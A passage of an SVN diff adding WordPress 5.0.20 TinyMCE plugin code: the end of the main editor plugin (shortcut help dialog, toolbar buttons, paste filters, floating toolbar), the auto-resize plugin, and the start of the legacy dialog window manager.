+					tr({ '######': 'Heading 6' }) +
+					tr({ '---': 'Horizontal line' }) +
+				'</table>';
+		}
+
+		// Focus management section
+		html = html +
+			'<h2>' + __( 'Focus shortcuts:' ) + '</h2>' +
+			'<table class="wp-help-single">' +
+				tr({ 'Alt + F8':  'Inline toolbar (when an image, link or preview is selected)' }) +
+				tr({ 'Alt + F9':  'Editor menu (when enabled)' }) +
+				tr({ 'Alt + F10': 'Editor toolbar' }) +
+				tr({ 'Alt + F11': 'Elements path' }) +
+			'</table>' +
+			'<p>' + __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ) + '</p>';
+
+		html += '</div>';
+
+		dialog = editor.windowManager.open( {
+			title: editor.settings.classic_block_editor ? 'Classic Block Keyboard Shortcuts' : 'Keyboard Shortcuts',
+			items: {
+				type: 'container',
+				classes: 'wp-help',
+				html: html
+			},
+			buttons: {
+				text: 'Close',
+				onclick: 'close'
+			}
+		} );
+
+		if ( dialog.$el ) {
+			dialog.$el.find( 'div[role="application"]' ).attr( 'role', 'document' );
+			$wrap = dialog.$el.find( '.mce-wp-help' );
+
+			if ( $wrap[0] ) {
+				$wrap.attr( 'tabindex', '0' );
+				$wrap[0].focus();
+				$wrap.on( 'keydown', function( event ) {
+					// Prevent use of: page up, page down, end, home, left arrow, up arrow, right arrow, down arrow
+					// in the dialog keydown handler.
+					if ( event.keyCode >= 33 && event.keyCode <= 40 ) {
+						event.stopPropagation();
+					}
+				});
+			}
+		}
+	} );
+
+	editor.addCommand( 'WP_Medialib', function() {
+		if ( wp && wp.media && wp.media.editor ) {
+			wp.media.editor.open( editor.id );
+		}
+	});
+
+	// Register buttons
+	editor.addButton( 'wp_more', {
+		tooltip: 'Insert Read More tag',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'more' );
+		}
+	});
+
+	editor.addButton( 'wp_page', {
+		tooltip: 'Page break',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'nextpage' );
+		}
+	});
+
+	editor.addButton( 'wp_help', {
+		tooltip: 'Keyboard Shortcuts',
+		cmd: 'WP_Help'
+	});
+
+	editor.addButton( 'wp_code', {
+		tooltip: 'Code',
+		cmd: 'WP_Code',
+		stateSelector: 'code'
+	});
+
+	// Insert->Add Media
+	if ( wp && wp.media && wp.media.editor ) {
+		editor.addButton( 'wp_add_media', {
+			tooltip: 'Add Media',
+			icon: 'dashicon dashicons-admin-media',
+			cmd: 'WP_Medialib'
+		} );
+
+		editor.addMenuItem( 'add_media', {
+			text: 'Add Media',
+			icon: 'wp-media-library',
+			context: 'insert',
+			cmd: 'WP_Medialib'
+		});
+	}
+
+	// Insert "Read More..."
+	editor.addMenuItem( 'wp_more', {
+		text: 'Insert Read More tag',
+		icon: 'wp_more',
+		context: 'insert',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'more' );
+		}
+	});
+
+	// Insert "Next Page"
+	editor.addMenuItem( 'wp_page', {
+		text: 'Page break',
+		icon: 'wp_page',
+		context: 'insert',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'nextpage' );
+		}
+	});
+
+	editor.on( 'BeforeExecCommand', function(e) {
+		if ( tinymce.Env.webkit && ( e.command === 'InsertUnorderedList' || e.command === 'InsertOrderedList' ) ) {
+			if ( ! style ) {
+				style = editor.dom.create( 'style', {'type': 'text/css'},
+					'#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}');
+			}
+
+			editor.getDoc().head.appendChild( style );
+		}
+	});
+
+	editor.on( 'ExecCommand', function( e ) {
+		if ( tinymce.Env.webkit && style &&
+			( 'InsertUnorderedList' === e.command || 'InsertOrderedList' === e.command ) ) {
+
+			editor.dom.remove( style );
+		}
+	});
+
+	editor.on( 'init', function() {
+		var env = tinymce.Env,
+			bodyClass = ['mceContentBody'], // back-compat for themes that use this in editor-style.css...
+			doc = editor.getDoc(),
+			dom = editor.dom;
+
+		if ( env.iOS ) {
+			dom.addClass( doc.documentElement, 'ios' );
+		}
+
+		if ( editor.getParam( 'directionality' ) === 'rtl' ) {
+			bodyClass.push('rtl');
+			dom.setAttrib( doc.documentElement, 'dir', 'rtl' );
+		}
+
+		dom.setAttrib( doc.documentElement, 'lang', editor.getParam( 'wp_lang_attr' ) );
+
+		if ( env.ie ) {
+			if ( parseInt( env.ie, 10 ) === 9 ) {
+				bodyClass.push('ie9');
+			} else if ( parseInt( env.ie, 10 ) === 8 ) {
+				bodyClass.push('ie8');
+			} else if ( env.ie < 8 ) {
+				bodyClass.push('ie7');
+			}
+		} else if ( env.webkit ) {
+			bodyClass.push('webkit');
+		}
+
+		bodyClass.push('wp-editor');
+
+		each( bodyClass, function( cls ) {
+			if ( cls ) {
+				dom.addClass( doc.body, cls );
+			}
+		});
+
+		// Remove invalid parent paragraphs when inserting HTML
+		editor.on( 'BeforeSetContent', function( event ) {
+			if ( event.content ) {
+				event.content = event.content.replace( /<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi, '<$1$2>' )
+					.replace( /<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi, '</$1>' );
+			}
+		});
+
+		if ( $ ) {
+			$( document ).triggerHandler( 'tinymce-editor-init', [editor] );
+		}
+
+		if ( window.tinyMCEPreInit && window.tinyMCEPreInit.dragDropUpload ) {
+			dom.bind( doc, 'dragstart dragend dragover drop', function( event ) {
+				if ( $ ) {
+					// Trigger the jQuery handlers.
+					$( document ).trigger( new $.Event( event ) );
+				}
+			});
+		}
+
+		if ( editor.getParam( 'wp_paste_filters', true ) ) {
+			editor.on( 'PastePreProcess', function( event ) {
+				// Remove trailing <br> added by WebKit browsers to the clipboard
+				event.content = event.content.replace( /<br class="?Apple-interchange-newline"?>/gi, '' );
+
+				// In WebKit this is handled by removeWebKitStyles()
+				if ( ! tinymce.Env.webkit ) {
+					// Remove all inline styles
+					event.content = event.content.replace( /(<[^>]+) style="[^"]*"([^>]*>)/gi, '$1$2' );
+
+					// Put back the internal styles
+					event.content = event.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi, '$1 style=$2' );
+				}
+			});
+
+			editor.on( 'PastePostProcess', function( event ) {
+				// Remove empty paragraphs
+				editor.$( 'p', event.node ).each( function( i, node ) {
+					if ( dom.isEmpty( node ) ) {
+						dom.remove( node );
+					}
+				});
+
+				if ( tinymce.isIE ) {
+					editor.$( 'a', event.node ).find( 'font, u' ).each( function( i, node ) {
+						dom.remove( node, true );
+					});
+				}
+			});
+		}
+
+		if ( editor.settings.wp_shortcut_labels && editor.theme.panel ) {
+			var labels = {};
+			var access = 'Shift+Alt+';
+			var meta = 'Ctrl+';
+
+			// For Mac: ctrl = \u2303, cmd = \u2318, alt = \u2325
+
+			if ( tinymce.Env.mac ) {
+				access = '\u2303\u2325';
+				meta = '\u2318';
+			}
+
+			each( editor.settings.wp_shortcut_labels, function( value, name ) {
+				labels[ name ] = value.replace( 'access', access ).replace( 'meta', meta );
+			} );
+
+			each( editor.theme.panel.find('button'), function( button ) {
+				if ( button && button.settings.tooltip && labels.hasOwnProperty( button.settings.tooltip ) ) {
+					// Need to translate now. We are changing the string so it won't match and cannot be translated later.
+					button.settings.tooltip = editor.translate( button.settings.tooltip ) + ' (' + labels[ button.settings.tooltip ] + ')';
+				}
+			} );
+
+			// listbox for the "blocks" drop-down
+			each( editor.theme.panel.find('listbox'), function( listbox ) {
+				if ( listbox && listbox.settings.text === 'Paragraph' ) {
+					each( listbox.settings.values, function( item ) {
+						if ( item.text && labels.hasOwnProperty( item.text ) ) {
+							item.shortcut = '(' + labels[ item.text ] + ')';
+						}
+					} );
+				}
+			} );
+		}
+	});
+
+	editor.on( 'SaveContent', function( event ) {
+		// If editor is hidden, we just want the textarea's value to be saved
+		if ( ! editor.inline && editor.isHidden() ) {
+			event.content = event.element.value;
+			return;
+		}
+
+		// Keep empty paragraphs :(
+		event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
+
+		if ( hasWpautop ) {
+			event.content = wp.editor.removep( event.content );
+		} else {
+			// Restore formatting of block boundaries.
+			event.content = event.content.replace( /-->\s*<!-- wp:/g, '-->\n\n<!-- wp:' );
+		}
+	});
+
+	editor.on( 'preInit', function() {
+		var validElementsSetting = '@[id|accesskey|class|dir|lang|style|tabindex|' +
+			'title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],' + // Global attributes.
+			'i,' + // Don't replace <i> with <em> and <b> with <strong> and don't remove them when empty.
+			'b,' +
+			'script[src|async|defer|type|charset|crossorigin|integrity]'; // Add support for <script>.
+
+		editor.schema.addValidElements( validElementsSetting );
+
+		if ( tinymce.Env.iOS ) {
+			editor.settings.height = 300;
+		}
+
+		each( {
+			c: 'JustifyCenter',
+			r: 'JustifyRight',
+			l: 'JustifyLeft',
+			j: 'JustifyFull',
+			q: 'mceBlockQuote',
+			u: 'InsertUnorderedList',
+			o: 'InsertOrderedList',
+			m: 'WP_Medialib',
+			t: 'WP_More',
+			d: 'Strikethrough',
+			p: 'WP_Page',
+			x: 'WP_Code'
+		}, function( command, key ) {
+			editor.shortcuts.add( 'access+' + key, '', command );
+		} );
+
+		editor.addShortcut( 'meta+s', '', function() {
+			if ( wp && wp.autosave ) {
+				wp.autosave.server.triggerSave();
+			}
+		} );
+
+		// Alt+Shift+Z removes a block in the Block Editor, don't add it to the Classic Block.
+		if ( ! editor.settings.classic_block_editor ) {
+			editor.addShortcut( 'access+z', '', 'WP_Adv' );
+		}
+
+		// Workaround for not triggering the global help modal in the Block Editor by the Classic Block shortcut.
+		editor.on( 'keydown', function( event ) {
+			if ( event.shiftKey && event.altKey && event.code === 'KeyH' ) {
+				editor.execCommand( 'WP_Help' );
+				event.stopPropagation();
+				event.stopImmediatePropagation();
+				return false;
+			}
+
+			return true;
+		});
+
+		if ( window.getUserSetting( 'editor_plain_text_paste_warning' ) > 1 ) {
+			editor.settings.paste_plaintext_inform = false;
+		}
+
+		// Change the editor iframe title on MacOS, add the correct help shortcut.
+		if ( tinymce.Env.mac ) {
+			tinymce.$( editor.iframeElement ).attr( 'title', __( 'Rich Text Area. Press Control-Option-H for help.' ) );
+		}
+	} );
+
+	editor.on( 'PastePlainTextToggle', function( event ) {
+		// Warn twice, then stop.
+		if ( event.state === true ) {
+			var times = parseInt( window.getUserSetting( 'editor_plain_text_paste_warning' ), 10 ) || 0;
+
+			if ( times < 2 ) {
+				window.setUserSetting( 'editor_plain_text_paste_warning', ++times );
+			}
+		}
+	});
+
+	/**
+	 * Experimental: create a floating toolbar.
+	 * This functionality will change in the next releases. Not recommended for use by plugins.
+	 */
+	editor.on( 'preinit', function() {
+		var Factory = tinymce.ui.Factory,
+			settings = editor.settings,
+			activeToolbar,
+			currentSelection,
+			timeout,
+			container = editor.getContainer(),
+			wpAdminbar = document.getElementById( 'wpadminbar' ),
+			mceIframe = document.getElementById( editor.id + '_ifr' ),
+			mceToolbar,
+			mceStatusbar,
+			wpStatusbar,
+			isChromeRtl = ( editor.rtl && /Chrome/.test( navigator.userAgent ) );
+
+			if ( container ) {
+				mceToolbar = tinymce.$( '.mce-toolbar-grp', container )[0];
+				mceStatusbar = tinymce.$( '.mce-statusbar', container )[0];
+			}
+
+			if ( editor.id === 'content' ) {
+				wpStatusbar = document.getElementById( 'post-status-info' );
+			}
+
+		function create( buttons, bottom ) {
+			var toolbar,
+				toolbarItems = [],
+				buttonGroup;
+
+			each( buttons, function( item ) {
+				var itemName;
+
+				function bindSelectorChanged() {
+					var selection = editor.selection;
+
+					if ( itemName === 'bullist' ) {
+						selection.selectorChanged( 'ul > li', function( state, args ) {
+							var i = args.parents.length,
+								nodeName;
+
+							while ( i-- ) {
+								nodeName = args.parents[ i ].nodeName;
+
+								if ( nodeName === 'OL' || nodeName == 'UL' ) {
+									break;
+								}
+							}
+
+							item.active( state && nodeName === 'UL' );
+						} );
+					}
+
+					if ( itemName === 'numlist' ) {
+						selection.selectorChanged( 'ol > li', function( state, args ) {
+							var i = args.parents.length,
+								nodeName;
+
+							while ( i-- ) {
+								nodeName = args.parents[ i ].nodeName;
+
+								if ( nodeName === 'OL' || nodeName === 'UL' ) {
+									break;
+								}
+							}
+
+							item.active( state && nodeName === 'OL' );
+						} );
+					}
+
+					if ( item.settings.stateSelector ) {
+						selection.selectorChanged( item.settings.stateSelector, function( state ) {
+							item.active( state );
+						}, true );
+					}
+
+					if ( item.settings.disabledStateSelector ) {
+						selection.selectorChanged( item.settings.disabledStateSelector, function( state ) {
+							item.disabled( state );
+						} );
+					}
+				}
+
+				if ( item === '|' ) {
+					buttonGroup = null;
+				} else {
+					if ( Factory.has( item ) ) {
+						item = {
+							type: item
+						};
+
+						if ( settings.toolbar_items_size ) {
+							item.size = settings.toolbar_items_size;
+						}
+
+						toolbarItems.push( item );
+
+						buttonGroup = null;
+					} else {
+						if ( ! buttonGroup ) {
+							buttonGroup = {
+								type: 'buttongroup',
+								items: []
+							};
+
+							toolbarItems.push( buttonGroup );
+						}
+
+						if ( editor.buttons[ item ] ) {
+							itemName = item;
+							item = editor.buttons[ itemName ];
+
+							if ( typeof item === 'function' ) {
+								item = item();
+							}
+
+							item.type = item.type || 'button';
+
+							if ( settings.toolbar_items_size ) {
+								item.size = settings.toolbar_items_size;
+							}
+
+							item = Factory.create( item );
+
+							buttonGroup.items.push( item );
+
+							if ( editor.initialized ) {
+								bindSelectorChanged();
+							} else {
+								editor.on( 'init', bindSelectorChanged );
+							}
+						}
+					}
+				}
+			} );
+
+			toolbar = Factory.create( {
+				type: 'panel',
+				layout: 'stack',
+				classes: 'toolbar-grp inline-toolbar-grp',
+				ariaRoot: true,
+				ariaRemember: true,
+				items: [ {
+					type: 'toolbar',
+					layout: 'flow',
+					items: toolbarItems
+				} ]
+			} );
+
+			toolbar.bottom = bottom;
+
+			function reposition() {
+				if ( ! currentSelection ) {
+					return this;
+				}
+
+				var scrollX = window.pageXOffset || document.documentElement.scrollLeft,
+					scrollY = window.pageYOffset || document.documentElement.scrollTop,
+					windowWidth = window.innerWidth,
+					windowHeight = window.innerHeight,
+					iframeRect = mceIframe ? mceIframe.getBoundingClientRect() : {
+						top: 0,
+						right: windowWidth,
+						bottom: windowHeight,
+						left: 0,
+						width: windowWidth,
+						height: windowHeight
+					},
+					toolbar = this.getEl(),
+					toolbarWidth = toolbar.offsetWidth,
+					toolbarHeight = toolbar.clientHeight,
+					selection = currentSelection.getBoundingClientRect(),
+					selectionMiddle = ( selection.left + selection.right ) / 2,
+					buffer = 5,
+					spaceNeeded = toolbarHeight + buffer,
+					wpAdminbarBottom = wpAdminbar ? wpAdminbar.getBoundingClientRect().bottom : 0,
+					mceToolbarBottom = mceToolbar ? mceToolbar.getBoundingClientRect().bottom : 0,
+					mceStatusbarTop = mceStatusbar ? windowHeight - mceStatusbar.getBoundingClientRect().top : 0,
+					wpStatusbarTop = wpStatusbar ? windowHeight - wpStatusbar.getBoundingClientRect().top : 0,
+					blockedTop = Math.max( 0, wpAdminbarBottom, mceToolbarBottom, iframeRect.top ),
+					blockedBottom = Math.max( 0, mceStatusbarTop, wpStatusbarTop, windowHeight - iframeRect.bottom ),
+					spaceTop = selection.top + iframeRect.top - blockedTop,
+					spaceBottom = windowHeight - iframeRect.top - selection.bottom - blockedBottom,
+					editorHeight = windowHeight - blockedTop - blockedBottom,
+					className = '',
+					iosOffsetTop = 0,
+					iosOffsetBottom = 0,
+					top, left;
+
+				if ( spaceTop >= editorHeight || spaceBottom >= editorHeight ) {
+					this.scrolling = true;
+					this.hide();
+					this.scrolling = false;
+					return this;
+				}
+
+				// Add offset in iOS to move the menu over the image, out of the way of the default iOS menu.
+				if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) {
+					iosOffsetTop = 54;
+					iosOffsetBottom = 46;
+				}
+
+				if ( this.bottom ) {
+					if ( spaceBottom >= spaceNeeded ) {
+						className = ' mce-arrow-up';
+						top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom;
+					} else if ( spaceTop >= spaceNeeded ) {
+						className = ' mce-arrow-down';
+						top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop;
+					}
+				} else {
+					if ( spaceTop >= spaceNeeded ) {
+						className = ' mce-arrow-down';
+						top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop;
+					} else if ( spaceBottom >= spaceNeeded && editorHeight / 2 > selection.bottom + iframeRect.top - blockedTop ) {
+						className = ' mce-arrow-up';
+						top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom;
+					}
+				}
+
+				if ( typeof top === 'undefined' ) {
+					top = scrollY + blockedTop + buffer + iosOffsetBottom;
+				}
+
+				left = selectionMiddle - toolbarWidth / 2 + iframeRect.left + scrollX;
+
+				if ( selection.left < 0 || selection.right > iframeRect.width ) {
+					left = iframeRect.left + scrollX + ( iframeRect.width - toolbarWidth ) / 2;
+				} else if ( toolbarWidth >= windowWidth ) {
+					className += ' mce-arrow-full';
+					left = 0;
+				} else if ( ( left < 0 && selection.left + toolbarWidth > windowWidth ) || ( left + toolbarWidth > windowWidth && selection.right - toolbarWidth < 0 ) ) {
+					left = ( windowWidth - toolbarWidth ) / 2;
+				} else if ( left < iframeRect.left + scrollX ) {
+					className += ' mce-arrow-left';
+					left = selection.left + iframeRect.left + scrollX;
+				} else if ( left + toolbarWidth > iframeRect.width + iframeRect.left + scrollX ) {
+					className += ' mce-arrow-right';
+					left = selection.right - toolbarWidth + iframeRect.left + scrollX;
+				}
+
+				// No up/down arrows on the menu over images in iOS.
+				if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) {
+					className = className.replace( / ?mce-arrow-(up|down)/g, '' );
+				}
+
+				toolbar.className = toolbar.className.replace( / ?mce-arrow-[\w]+/g, '' ) + className;
+
+				DOM.setStyles( toolbar, {
+					'left': left,
+					'top': top
+				} );
+
+				return this;
+			}
+
+			toolbar.on( 'show', function() {
+				this.reposition();
+
+				if ( isChromeRtl ) {
+					tinymce.$( '.mce-widget.mce-tooltip' ).addClass( 'wp-hide-mce-tooltip' );
+				}
+			} );
+
+			toolbar.on( 'hide', function() {
+				if ( isChromeRtl ) {
+					tinymce.$( '.mce-widget.mce-tooltip' ).removeClass( 'wp-hide-mce-tooltip' );
+				}
+			} );
+
+			toolbar.on( 'keydown', function( event ) {
+				if ( event.keyCode === 27 ) {
+					this.hide();
+					editor.focus();
+				}
+			} );
+
+			editor.on( 'remove', function() {
+				toolbar.remove();
+			} );
+
+			toolbar.reposition = reposition;
+			toolbar.hide().renderTo( document.body );
+
+			return toolbar;
+		}
+
+		editor.shortcuts.add( 'alt+119', '', function() {
+			var node;
+
+			if ( activeToolbar ) {
+				node = activeToolbar.find( 'toolbar' )[0];
+				node && node.focus( true );
+			}
+		} );
+
+		editor.on( 'nodechange', function( event ) {
+			var collapsed = editor.selection.isCollapsed();
+
+			var args = {
+				element: event.element,
+				parents: event.parents,
+				collapsed: collapsed
+			};
+
+			editor.fire( 'wptoolbar', args );
+
+			currentSelection = args.selection || args.element;
+
+			if ( activeToolbar && activeToolbar !== args.toolbar ) {
+				activeToolbar.hide();
+			}
+
+			if ( args.toolbar ) {
+				activeToolbar = args.toolbar;
+
+				if ( activeToolbar.visible() ) {
+					activeToolbar.reposition();
+				} else {
+					activeToolbar.show();
+				}
+			} else {
+				activeToolbar = false;
+			}
+		} );
+
+		editor.on( 'focus', function() {
+			if ( activeToolbar ) {
+				activeToolbar.show();
+			}
+		} );
+
+		function hide( event ) {
+			if ( activeToolbar ) {
+				if ( activeToolbar.tempHide || event.type === 'hide' || event.type === 'blur' ) {
+					activeToolbar.hide();
+					activeToolbar = false;
+				} else if ( (
+					event.type === 'resizewindow' ||
+					event.type === 'scrollwindow' ||
+					event.type === 'resize' ||
+					event.type === 'scroll'
+				) && ! activeToolbar.blockHide ) {
+					clearTimeout( timeout );
+
+					timeout = setTimeout( function() {
+						if ( activeToolbar && typeof activeToolbar.show === 'function' ) {
+							activeToolbar.scrolling = false;
+							activeToolbar.show();
+						}
+					}, 250 );
+
+					activeToolbar.scrolling = true;
+					activeToolbar.hide();
+				}
+			}
+		}
+
+		// For full height editor.
+		editor.on( 'resizewindow scrollwindow', hide );
+		// For scrollable editor.
+		editor.dom.bind( editor.getWin(), 'resize scroll', hide );
+
+		editor.on( 'remove', function() {
+			editor.off( 'resizewindow scrollwindow', hide );
+			editor.dom.unbind( editor.getWin(), 'resize scroll', hide );
+		} );
+
+		editor.on( 'blur hide', hide );
+
+		editor.wp = editor.wp || {};
+		editor.wp._createToolbar = create;
+	}, true );
+
+	function noop() {}
+
+	// Expose some functions (back-compat)
+	return {
+		_showButtons: noop,
+		_hideButtons: noop,
+		_setEmbed: noop,
+		_getEmbed: noop
+	};
+});
+
+}( window.tinymce ));
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js	(revision 56912)
@@ -0,0 +1,207 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+// Forked for WordPress so it can be turned on/off after loading.
+
+/*global tinymce:true */
+/*eslint no-nested-ternary:0 */
+
+/**
+ * Auto Resize
+ *
+ * This plugin automatically resizes the content area to fit its content height.
+ * It will retain a minimum height, which is the height of the content area when
+ * it's initialized.
+ */
+tinymce.PluginManager.add( 'wpautoresize', function( editor ) {
+	var settings = editor.settings,
+		oldSize = 300,
+		isActive = false;
+
+	if ( editor.settings.inline || tinymce.Env.iOS ) {
+		return;
+	}
+
+	function isFullscreen() {
+		return editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen();
+	}
+
+	function getInt( n ) {
+		return parseInt( n, 10 ) || 0;
+	}
+
+	/**
+	 * This method gets executed each time the editor needs to resize.
+	 */
+	function resize( e ) {
+		var deltaSize, doc, body, docElm, DOM = tinymce.DOM, resizeHeight, myHeight,
+			marginTop, marginBottom, paddingTop, paddingBottom, borderTop, borderBottom;
+
+		if ( ! isActive ) {
+			return;
+		}
+
+		doc = editor.getDoc();
+		if ( ! doc ) {
+			return;
+		}
+
+		e = e || {};
+		body = doc.body;
+		docElm = doc.documentElement;
+		resizeHeight = settings.autoresize_min_height;
+
+		if ( ! body || ( e && e.type === 'setcontent' && e.initial ) || isFullscreen() ) {
+			if ( body && docElm ) {
+				body.style.overflowY = 'auto';
+				docElm.style.overflowY = 'auto'; // Old IE
+			}
+
+			return;
+		}
+
+		// Calculate outer height of the body element using CSS styles
+		marginTop = editor.dom.getStyle( body, 'margin-top', true );
+		marginBottom = editor.dom.getStyle( body, 'margin-bottom', true );
+		paddingTop = editor.dom.getStyle( body, 'padding-top', true );
+		paddingBottom = editor.dom.getStyle( body, 'padding-bottom', true );
+		borderTop = editor.dom.getStyle( body, 'border-top-width', true );
+		borderBottom = editor.dom.getStyle( body, 'border-bottom-width', true );
+		myHeight = body.offsetHeight + getInt( marginTop ) + getInt( marginBottom ) +
+			getInt( paddingTop ) + getInt( paddingBottom ) +
+			getInt( borderTop ) + getInt( borderBottom );
+
+		// IE < 11, other?
+		if ( myHeight && myHeight < docElm.offsetHeight ) {
+			myHeight = docElm.offsetHeight;
+		}
+
+		// Make sure we have a valid height
+		if ( isNaN( myHeight ) || myHeight <= 0 ) {
+			// Get height differently depending on the browser used
+			myHeight = tinymce.Env.ie ? body.scrollHeight : ( tinymce.Env.webkit && body.clientHeight === 0 ? 0 : body.offsetHeight );
+		}
+
+		// Don't make it smaller than the minimum height
+		if ( myHeight > settings.autoresize_min_height ) {
+			resizeHeight = myHeight;
+		}
+
+		// If a maximum height has been defined don't exceed this height
+		if ( settings.autoresize_max_height && myHeight > settings.autoresize_max_height ) {
+			resizeHeight = settings.autoresize_max_height;
+			body.style.overflowY = 'auto';
+			docElm.style.overflowY = 'auto'; // Old IE
+		} else {
+			body.style.overflowY = 'hidden';
+			docElm.style.overflowY = 'hidden'; // Old IE
+			body.scrollTop = 0;
+		}
+
+		// Resize content element
+		if (resizeHeight !== oldSize) {
+			deltaSize = resizeHeight - oldSize;
+			DOM.setStyle( editor.iframeElement, 'height', resizeHeight + 'px' );
+			oldSize = resizeHeight;
+
+			// WebKit doesn't decrease the size of the body element until the iframe gets resized
+			// So we need to continue to resize the iframe down until the size gets fixed
+			if ( tinymce.isWebKit && deltaSize < 0 ) {
+				resize( e );
+			}
+
+			editor.fire( 'wp-autoresize', { height: resizeHeight, deltaHeight: e.type === 'nodechange' ? deltaSize : null } );
+		}
+	}
+
+	/**
+	 * Calls the resize x times in 100ms intervals. We can't wait for load events since
+	 * the CSS files might load async.
+	 */
+	function wait( times, interval, callback ) {
+		setTimeout( function() {
+			resize();
+
+			if ( times-- ) {
+				wait( times, interval, callback );
+			} else if ( callback ) {
+				callback();
+			}
+		}, interval );
+	}
+
+	// Define minimum height
+	settings.autoresize_min_height = parseInt(editor.getParam( 'autoresize_min_height', editor.getElement().offsetHeight), 10 );
+
+	// Define maximum height
+	settings.autoresize_max_height = parseInt(editor.getParam( 'autoresize_max_height', 0), 10 );
+
+	function on() {
+		if ( ! editor.dom.hasClass( editor.getBody(), 'wp-autoresize' ) ) {
+			isActive = true;
+			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
+			// Add appropriate listeners for resizing the content area
+			editor.on( 'nodechange setcontent keyup FullscreenStateChanged', resize );
+			resize();
+		}
+	}
+
+	function off() {
+		var doc;
+
+		// Don't turn off if the setting is 'on'
+		if ( ! settings.wp_autoresize_on ) {
+			isActive = false;
+			doc = editor.getDoc();
+			editor.dom.removeClass( editor.getBody(), 'wp-autoresize' );
+			editor.off( 'nodechange setcontent keyup FullscreenStateChanged', resize );
+			doc.body.style.overflowY = 'auto';
+			doc.documentElement.style.overflowY = 'auto'; // Old IE
+			oldSize = 0;
+		}
+	}
+
+	if ( settings.wp_autoresize_on ) {
+		// Turn resizing on when the editor loads
+		isActive = true;
+
+		editor.on( 'init', function() {
+			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
+		});
+
+		editor.on( 'nodechange keyup FullscreenStateChanged', resize );
+
+		editor.on( 'setcontent', function() {
+			wait( 3, 100 );
+		});
+
+		if ( editor.getParam( 'autoresize_on_init', true ) ) {
+			editor.on( 'init', function() {
+				// Hit it 10 times in 200 ms intervals
+				wait( 10, 200, function() {
+					// Hit it 5 times in 1 sec intervals
+					wait( 5, 1000 );
+				});
+			});
+		}
+	}
+
+	// Reset the stored size
+	editor.on( 'show', function() {
+		oldSize = 0;
+	});
+
+	// Register the command
+	editor.addCommand( 'wpAutoResize', resize );
+
+	// On/off
+	editor.addCommand( 'wpAutoResizeOn', on );
+	editor.addCommand( 'wpAutoResizeOff', off );
+});
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js	(revision 56912)
@@ -0,0 +1,92 @@
+/* global tinymce */
+/**
+ * Included for back-compat.
+ * The default WindowManager in TinyMCE 4.0 supports three types of dialogs:
+ *	- With HTML created from JS.
+ *	- With inline HTML (like WPWindowManager).
+ *	- Old type iframe based dialogs.
+ * For examples see the default plugins: https://github.com/tinymce/tinymce/tree/master/js/tinymce/plugins
+ */
+tinymce.WPWindowManager = tinymce.InlineWindowManager = function( editor ) {
+	if ( this.wp ) {
+		return this;
+	}
+
+	this.wp = {};
+	this.parent = editor.windowManager;
+	this.editor = editor;
+
+	tinymce.extend( this, this.parent );
+
+	this.open = function( args, params ) {
+		var $element,
+			self = this,
+			wp = this.wp;
+
+		if ( ! args.wpDialog ) {
+			return this.parent.open.apply( this, arguments );
+		} else if ( ! args.id ) {
+			return;
+		}
+
+		if ( typeof jQuery === 'undefined' || ! jQuery.wp || ! jQuery.wp.wpdialog ) {
+			// wpdialog.js is not loaded
+			if ( window.console && window.console.error ) {
+				window.console.error('wpdialog.js is not loaded. Please set "wpdialogs" as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the "wp-jquery-ui-dialog" stylesheet.');
+			}
+
+			return;
+		}
+
+		wp.$element = $element = jQuery( '#' + args.id );
+
+		if ( ! $element.length ) {
+			return;
+		}
+
+		if ( window.console && window.console.log ) {
+			window.console.log('tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML.');
+		}
+
+		wp.features = args;
+		wp.params = params;
+
+		// Store selection. Takes a snapshot in the FocusManager of the selection before focus is moved to the dialog.
+		editor.nodeChanged();
+
+		// Create the dialog if necessary
+		if ( ! $element.data('wpdialog') ) {
+			$element.wpdialog({
+				title: args.title,
+				width: args.width,
+				height: args.height,
+				modal: true,
+				dialogClass: 'wp-dialog',
+				zIndex: 300000
+			});
+		}
+
+		$element.wpdialog('open');
+
+		$element.on( 'wpdialogclose', function() {
+			if ( self.wp.$element ) {
+				self.wp = {};
+			}
+		});
+	};
+
+	this.close = function() {
+		if ( ! this.wp.features || ! this.wp.features.wpDialog ) {
+			return this.parent.close.apply( this, arguments );
+		}
+
+		this.wp.$element.wpdialog('close');
+	};
+};
+
+tinymce.PluginManager.add( 'wpdialogs', function( editor ) {
+	// Replace window manager
+	editor.on( 'init', function() {
